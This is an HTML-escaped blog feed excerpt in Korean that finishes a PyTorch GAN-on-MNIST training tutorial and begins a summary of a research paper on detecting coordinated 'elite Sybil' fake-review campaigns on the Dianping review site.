&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 Generator와 Discriminator를 정의했으니, 본격적으로 학습을 시작해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1647076407271&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;criterion = nn.BCELoss()
d_optimizer = torch.optim.Adam(discriminator.parameters(), lr=learning_rate)
g_optimizer = torch.optim.Adam(generator.parameters(), lr=learning_rate)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 학습에 사용될 Loss function으로는 &lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;BCELoss&lt;/b&gt;&lt;/span&gt;를 사용하였으며, 국민 optimizor인 &lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;Adam&lt;/b&gt;&lt;/span&gt;을 사용하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때, genrator와 discriminator는 서로 따로따로 학습되므로 각각 optimizer를 구분지어 정의해주어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1647076516907&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;for epoch in range(num_epoch):
    for i, (images, label) in enumerate(data_loader):

        # 라벨을 만들어 줍니다. 1 for real, 0 for fake
        real_label = 
        	torch.full((batch_size, 1), 1, dtype=torch.float32).to(device)
        fake_label = 
        	torch.full((batch_size, 1), 0, dtype=torch.float32).to(device)

        # MNIST dataset의 데이터를 flatten 하게 reshape 해줍니다.
        real_images = images.reshape(batch_size, -1).to(device)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 for문을 통해 각 epoch 마다 학습을 시켜주게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;학습을 위해 [batch size, 1] 크기의 모두 1로 구성된 real label 의 tensor와 모두 0으로 구성된 fake label의 tensor를 만들어 주었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 [1 x 28 x 28] 크기의 MNIST 데이터를 [batch size, 784] 의 크기로 flatten 해주는 과정을 거쳤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;pre id=&quot;code_1647076756130&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;        # +---------------------+
        # |   train Generator   |
        # +---------------------+

        # Initialize grad
        g_optimizer.zero_grad()
        d_optimizer.zero_grad()

        # fake image를 generator와 noize vector 'z' 를 통해 만들어주기
        z = torch.randn(batch_size, noise_size).to(device)
        fake_images = generator(z)

        # loss function에 fake image와 real label을 넘겨주기
        # 만약 generator가 discriminator를 속이면, g_loss가 줄어든다.
        g_loss = criterion(discriminator(fake_images), real_label)

        # backpropagation를 통해 generator 학습
        g_loss.backward()
        g_optimizer.step()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 Generator를 학습시켜주자. Discriminator 를 먼저 학습시키든 Generator를 먼저 학습시키든 상관없지만, 중요한 것은 각자&lt;span style=&quot;color: #1a5490;&quot;&gt;&lt;b&gt; 따로따로 학습&lt;/b&gt;&lt;/span&gt;시켜줘야 한다는 점이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 noise vector 'z' 를 torch.randn 함수를 통해 랜덤한 값으로 채워준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 앞서 선언한 generator에 z를 넣어줌으로써 [28 x 28 = 784] 크기의 이미지 데이터를 생성하게 된다. 즉 G(z)는 Generator가 생성한 batch size 개수만큼의 이미지가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 2장에서 설명했듯이 Generator는 D(G(z))의 성능을 낮추는 방향으로 학습된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 loss 함수에 D(G(z))와 real label을 함께 넣어준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 할 경우, Discriminator가 제대로 판단을 할 경우(fake라 판단) Generator는 올바른 방향으로 데이터를 생성하지 못했다고 생각하게 되고, Discriminator 가 제대로 판단하지 못할 경우(real로 판단) Generator는 올바른 방향으로 데이터를 생성했다고 생각하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 과정을 통해 Generator의 성능이 높아지는 방향으로 학습이 진행되게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1647077188043&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	# +---------------------+
        # | train Discriminator |
        # +---------------------+

        # Initialize grad
        d_optimizer.zero_grad()
        g_optimizer.zero_grad()

        # generator와 noise vector 'z'로 fake image 생성
        z = torch.randn(batch_size, noise_size).to(device)
        fake_images = generator(z)

        # fake image와 fake label, real image와 real label을 넘겨 loss 계산
        fake_loss = criterion(discriminator(fake_images), fake_label)
        real_loss = criterion(discriminator(real_images), real_label)
        d_loss = (fake_loss + real_loss) / 2

        # backpropagation을 통해 discriminator 학습
        # 이 부분에서는 generator는 학습시키지 않음
        d_loss.backward()
        d_optimizer.step()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음으로 Discriminator를 학습시켜주자.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 앞서 했던거 같이 z를 generator에 통과시켜 fake image를 만들어준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;D(G(z)) 값을 loss function에 fake label과 함께 넣어 fake loss를 구해주고, D(x) 값을 loss function에 real label과 함게 넣어 real loss를 구해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 구한 두 fake / real loss를 평균내서 전체 discriminator 의 loss값을 구해준다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 하면 Discriminator가 제대로 fake 와 real 이미지를 판단할 수 있는 방향으로 학습이 진행되게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 되면 한 epoch 의 학습이 끝나게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에는 generator가 터무니 없는 데이터를 생성하기 때문에 discriminator가 어렵지 않게 이를 분류할 수 있다. 그래서 &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;d_loss&lt;/b&gt; &lt;/span&gt;값은 작게 나오고, &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;g_loss&lt;/b&gt;&lt;/span&gt;값은 크게 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 학습이 진행될수록 d_loss값은 커지고 g_loss값은 점점 작아지는 것을 확인할 수 있다. 이는 Discriminator가 점점 진짜와 가짜 이미지를 판단하기 어려워지고, Generator가 점점 진짜같은 가짜 이미지를 생성해낸다는 뜻이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, GAN의 기존 의도와 딱 맞게 학습이 되어간다는 뜻이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 코드를 돌려보면 알 수 있겠지만, 대략 200 epoch 정도만 학습해줘도 [그림 2]와 같이 꽤나 그럴듯한 데이터가 생성되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1289&quot; data-origin-height=&quot;657&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bt5kN3/btrvJ89vHXP/0E2ZLhqRnrtlfYaGbq0ZB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bt5kN3/btrvJ89vHXP/0E2ZLhqRnrtlfYaGbq0ZB1/img.png&quot; data-alt=&quot;[그림 2] epoch 별 generator가 생성한 MNIST 데이터&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bt5kN3/btrvJ89vHXP/0E2ZLhqRnrtlfYaGbq0ZB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbt5kN3%2FbtrvJ89vHXP%2F0E2ZLhqRnrtlfYaGbq0ZB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;672&quot; height=&quot;343&quot; data-origin-width=&quot;1289&quot; data-origin-height=&quot;657&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 2] epoch 별 generator가 생성한 MNIST 데이터&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 Discriminator와 Generator를 조금 더 정교하게 설계하거나 batch normalization 등의 다양한 테크닉을 적용한다면 보다 정교하고 그럴듯한 데이터를 생성해낼 수 있을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: right;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;위 내용은 공부하며 정리한 것으로, 오류가 있을 수 있습니다.&lt;/span&gt;&lt;/p&gt;</description>
      <category>머신러닝</category>
      <category>gan</category>
      <category>pytorch</category>
      <category>구현</category>
      <author>dong1</author>
      <guid isPermaLink="true">https://ddongwon.tistory.com/124</guid>
      <comments>https://ddongwon.tistory.com/124#entry124comment</comments>
      <pubDate>Sat, 12 Mar 2022 18:15:33 +0900</pubDate>
    </item>
    <item>
      <title>[논문] Smoke Screener of Straight Shooter: Detecting Elite Sybil Attacks in User-Review Social Networks</title>
      <link>https://ddongwon.tistory.com/123</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;논문 제목 : Smoke&amp;nbsp;Screener&amp;nbsp;of&amp;nbsp;Straight&amp;nbsp;Shooter:&amp;nbsp;Detecting&amp;nbsp;Elite&amp;nbsp;Sybil&amp;nbsp;Attacks&amp;nbsp;in&amp;nbsp;User-Review&amp;nbsp;Social&amp;nbsp;Networks&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;0.&amp;nbsp;Abstract&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;아마존과 같은 User-Review Social Network (URSN) 사이트에서 대량으로 fake account를 생성하고 평점을 조작하는 Sybil attack 이 최근 자주 발생하고 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 논문에서는 elite Sybil attack 이라는 용어를 다음과 같이 정의한다. 유기적으로 highly-rated accounts들을 생성해 겉보기에 trustworthy 하고 realist-lokking한 review들을 생성해내는 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;elite Sybil attack은 accounts들이 large scale을 이루며 sparsely-knit 하게 구성되어 기존의 탐지 시스템을 무력화 시킨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;본 논문에서는 ELSEDET 이라 불리는 elite sybil attack 탐지 시스템을 제안한다. ELSEDET은 3단계로 구성되어 있는데, &lt;span style=&quot;color: #1a5490;&quot;&gt;&lt;b&gt;1) 의심스러운 그룹을 분리한 뒤, 2) campaign window를 식별하고 3) campaign 에 포함된 elite Sybil user를 찾아낸다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;본&amp;nbsp;연구에서는&amp;nbsp;Dianping에서의&amp;nbsp;수십만개의&amp;nbsp;review를&amp;nbsp;대상으로&amp;nbsp;실험을&amp;nbsp;진행했으며,&amp;nbsp;elite&amp;nbsp;sybil&amp;nbsp;attack의&amp;nbsp;파급력과&amp;nbsp;탐지&amp;nbsp;방안을&amp;nbsp;보였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;1.&amp;nbsp;Introduction&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;일반적인&amp;nbsp;Sybil&amp;nbsp;attack과는&amp;nbsp;다르게&amp;nbsp;elite&amp;nbsp;sybil&amp;nbsp;attack은&amp;nbsp;이미&amp;nbsp;특정&amp;nbsp;사이트에서&amp;nbsp;높은&amp;nbsp;평판을&amp;nbsp;가지고&amp;nbsp;있는&amp;nbsp;accounts를,&amp;nbsp;리더의&amp;nbsp;지휘&amp;nbsp;하에&amp;nbsp;조직적으로&amp;nbsp;review를&amp;nbsp;조작한다.&amp;nbsp;따라서&amp;nbsp;elite&amp;nbsp;sybil&amp;nbsp;attack을&amp;nbsp;탐지하거나&amp;nbsp;방지하는&amp;nbsp;것은&amp;nbsp;매우&amp;nbsp;힘든&amp;nbsp;일이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;기존의&amp;nbsp;Online&amp;nbsp;Social&amp;nbsp;Networks(OSNs)&amp;nbsp;에서의&amp;nbsp;sybil&amp;nbsp;attack&amp;nbsp;방지는&amp;nbsp;대표적으로&amp;nbsp;두가지&amp;nbsp;방식을&amp;nbsp;사용한다.&amp;nbsp;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;1)&amp;nbsp;account의&amp;nbsp;social&amp;nbsp;network&amp;nbsp;connectivity를&amp;nbsp;파악&lt;/b&gt;&lt;/span&gt;하는&amp;nbsp;방식과&amp;nbsp;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;2)&amp;nbsp;accounts의&amp;nbsp;feature를&amp;nbsp;통해&amp;nbsp;ML&amp;nbsp;classifier를&amp;nbsp;활용&lt;/b&gt;&lt;/span&gt;하는&amp;nbsp;방식 &lt;br /&gt;이러한&amp;nbsp;방식들은&amp;nbsp;URSN&amp;nbsp;에서는&amp;nbsp;잘&amp;nbsp;통하지&amp;nbsp;않는데&amp;nbsp;그&amp;nbsp;이유는&amp;nbsp;다음과&amp;nbsp;같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;1)&lt;/b&gt;&lt;/span&gt;&amp;nbsp;URSNs의&amp;nbsp;node들은&amp;nbsp;OSN&amp;nbsp;만큼&amp;nbsp;잘&amp;nbsp;연결되어있지&amp;nbsp;않다.&amp;nbsp;(팔로워&amp;nbsp;등의&amp;nbsp;개념이&amp;nbsp;거의&amp;nbsp;없으므로)&amp;nbsp;따라서&amp;nbsp;graph&amp;nbsp;connectivity&amp;nbsp;방식은&amp;nbsp;효과적이지&amp;nbsp;않다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;2)&lt;/b&gt;&lt;/span&gt;&amp;nbsp;URSNs에서의&amp;nbsp;elite&amp;nbsp;sybil&amp;nbsp;attack은&amp;nbsp;정교한&amp;nbsp;리뷰를&amp;nbsp;남기거나&amp;nbsp;사진을&amp;nbsp;남기기&amp;nbsp;때문에&amp;nbsp;일반적인&amp;nbsp;OSN에서보다&amp;nbsp;탐지&amp;nbsp;방법이&amp;nbsp;복잡하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;3)&amp;nbsp;&lt;/b&gt;&lt;/span&gt;일반적인&amp;nbsp;sybil&amp;nbsp;attack과&amp;nbsp;다르게&amp;nbsp;elite&amp;nbsp;sybil&amp;nbsp;attacker는&amp;nbsp;전체&amp;nbsp;리뷰&amp;nbsp;중&amp;nbsp;일부분의&amp;nbsp;리뷰만&amp;nbsp;sybil&amp;nbsp;attack에&amp;nbsp;사용한다.&amp;nbsp;따라서&amp;nbsp;aggregate&amp;nbsp;한&amp;nbsp;탐지&amp;nbsp;방식은&amp;nbsp;효과적이지&amp;nbsp;않다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이러한&amp;nbsp;elite&amp;nbsp;sybil&amp;nbsp;attack을&amp;nbsp;탐지하기&amp;nbsp;위해,&amp;nbsp;본&amp;nbsp;연구팀은&amp;nbsp;여러&amp;nbsp;sybil&amp;nbsp;workers들이&amp;nbsp;특정&amp;nbsp;task를&amp;nbsp;수행하는&amp;nbsp;Sybil&amp;nbsp;campaigns&amp;nbsp;에&amp;nbsp;집중하였다.&amp;nbsp;이러한&amp;nbsp;campaigns들은&amp;nbsp;특정&amp;nbsp;시간에&amp;nbsp;발생되므로,&amp;nbsp;해당&amp;nbsp;시간에&amp;nbsp;rewview를&amp;nbsp;올린&amp;nbsp;사용자들은&amp;nbsp;모두&amp;nbsp;용의자선상에&amp;nbsp;있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;용의자&amp;nbsp;중에서&amp;nbsp;실제&amp;nbsp;sybils를&amp;nbsp;판단하기&amp;nbsp;위해&amp;nbsp;장기적인&amp;nbsp;관점에서&amp;nbsp;바라보았을&amp;nbsp;때,&amp;nbsp;더&amp;nbsp;많은&amp;nbsp;campaigns에&amp;nbsp;참여할수록&amp;nbsp;sybils&amp;nbsp;일&amp;nbsp;확률이&amp;nbsp;높아진다는&amp;nbsp;점을&amp;nbsp;이용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;ELSIEDET은&amp;nbsp;3가지&amp;nbsp;단계로&amp;nbsp;동작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ef5369;&quot;&gt;&lt;b&gt;1단계)&lt;/b&gt;&lt;/span&gt;&amp;nbsp;sybil&amp;nbsp;community를&amp;nbsp;탐지한다.&amp;nbsp;elite&amp;nbsp;sybil&amp;nbsp;group의&amp;nbsp;행동을&amp;nbsp;분석하여&amp;nbsp;sybil&amp;nbsp;community를&amp;nbsp;탐지한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ef5369;&quot;&gt;&lt;b&gt;2단계)&lt;/b&gt;&lt;/span&gt;&amp;nbsp;Sybil&amp;nbsp;campaign&amp;nbsp;time&amp;nbsp;window를&amp;nbsp;결정한다.&amp;nbsp;새로운&amp;nbsp;방식의&amp;nbsp;campaign&amp;nbsp;탐지&amp;nbsp;알고리즘을&amp;nbsp;통해&amp;nbsp;특정&amp;nbsp;campaign의&amp;nbsp;시작과&amp;nbsp;끝을&amp;nbsp;정의함으로써&amp;nbsp;time&amp;nbsp;window를&amp;nbsp;결정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ef5369;&quot;&gt;&lt;b&gt;3단계)&lt;/b&gt;&lt;/span&gt;&amp;nbsp;elite&amp;nbsp;sybil&amp;nbsp;user를&amp;nbsp;찾아낸다.&amp;nbsp;새롭게&amp;nbsp;정의된&amp;nbsp;metric인&amp;nbsp;Sybilness를&amp;nbsp;통해,&amp;nbsp;참여자가&amp;nbsp;참여하는&amp;nbsp;정도를&amp;nbsp;scoring&amp;nbsp;하여&amp;nbsp;slite&amp;nbsp;sybil&amp;nbsp;user를&amp;nbsp;찾아낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;또한&amp;nbsp;본&amp;nbsp;논문에서&amp;nbsp;수행한&amp;nbsp;Contributions는&amp;nbsp;다음과&amp;nbsp;같다. &lt;br /&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;1)&lt;/b&gt;&lt;/span&gt;&amp;nbsp;Dianping이라는&amp;nbsp;URSN의&amp;nbsp;Sybils&amp;nbsp;들은&amp;nbsp;일반적인&amp;nbsp;centralized&amp;nbsp;or&amp;nbsp;simple&amp;nbsp;distributed&amp;nbsp;구조가&amp;nbsp;아닌&amp;nbsp;하이브리드한&amp;nbsp;구조로&amp;nbsp;진화하고&amp;nbsp;있음을&amp;nbsp;알아냄. &lt;br /&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;2)&lt;/b&gt;&lt;/span&gt;&amp;nbsp;elite&amp;nbsp;Sybil&amp;nbsp;users라는&amp;nbsp;새로운&amp;nbsp;개념의&amp;nbsp;Sybils를&amp;nbsp;정의함. &lt;br /&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;3)&lt;/b&gt;&lt;/span&gt;&amp;nbsp;elite&amp;nbsp;Sybil이라&amp;nbsp;불리는&amp;nbsp;사람들의&amp;nbsp;행동&amp;nbsp;특징을&amp;nbsp;파악했으며,&amp;nbsp;조기에&amp;nbsp;Sybil&amp;nbsp;campaigns를&amp;nbsp;탐지하고&amp;nbsp;경고할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;시스템을&amp;nbsp;제안하였다. &lt;br /&gt;&lt;b&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;4)&lt;/span&gt;&lt;/b&gt;&amp;nbsp;ELSIEDET가&amp;nbsp;현재&amp;nbsp;Dianping의&amp;nbsp;필터링&amp;nbsp;시스템을&amp;nbsp;보완하며,&amp;nbsp;Dianping으로부터&amp;nbsp;인정받음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;2.&amp;nbsp;Background&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;우선&amp;nbsp;Dianping은&amp;nbsp;중국의&amp;nbsp;대표적인&amp;nbsp;User-Review&amp;nbsp;Social&amp;nbsp;Network사이트로,&amp;nbsp;특이하게&amp;nbsp;어느정도&amp;nbsp;리뷰가&amp;nbsp;많고&amp;nbsp;'믿을만한'&amp;nbsp;사용자에게&amp;nbsp;'senior&amp;nbsp;level&amp;nbsp;user'라는&amp;nbsp;타이틀을&amp;nbsp;주는데&amp;nbsp;이&amp;nbsp;사람들이&amp;nbsp;sybil&amp;nbsp;attack에&amp;nbsp;이용되는&amp;nbsp;사람들이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;sybil&amp;nbsp;attack은&amp;nbsp;과거에는&amp;nbsp;단순히&amp;nbsp;인터넷&amp;nbsp;서비스에&amp;nbsp;타격이나&amp;nbsp;무리를&amp;nbsp;주는&amp;nbsp;공격에서&amp;nbsp;시작되어,&amp;nbsp;최근에는&amp;nbsp;트위터,&amp;nbsp;아마존과&amp;nbsp;같은&amp;nbsp;유명한&amp;nbsp;사이트에&amp;nbsp;금전적으로&amp;nbsp;피해를&amp;nbsp;입히기&amp;nbsp;시작했고,&amp;nbsp;그&amp;nbsp;방법도&amp;nbsp;점점&amp;nbsp;정교화되어&amp;nbsp;탐지에도&amp;nbsp;어려움을&amp;nbsp;겪고&amp;nbsp;있다.&amp;nbsp;특히&amp;nbsp;최근에는&amp;nbsp;URSN&amp;nbsp;사이트를&amp;nbsp;타깃으로&amp;nbsp;실제&amp;nbsp;소비자들에게도&amp;nbsp;피해를&amp;nbsp;입히고&amp;nbsp;있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;3. Dissecting Elite Sybil Attacks&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;3.1.&amp;nbsp;Terminology&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;1)&amp;nbsp;Store &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Store&amp;nbsp;'S'는&amp;nbsp;Dianping에서&amp;nbsp;많은&amp;nbsp;수의&amp;nbsp;리뷰를&amp;nbsp;가지고&amp;nbsp;있는&amp;nbsp;특정&amp;nbsp;웹사이트이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;2)&amp;nbsp;Community &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Community 'C'는 특정 store에 리뷰와 평점을 남기는 사람들의 집합이다. 정상적인 사람들로 구성된 benign communities와 malicious한 사람들로 구성된 Sybil communities로 분류할 수 있다.&lt;/p&gt;
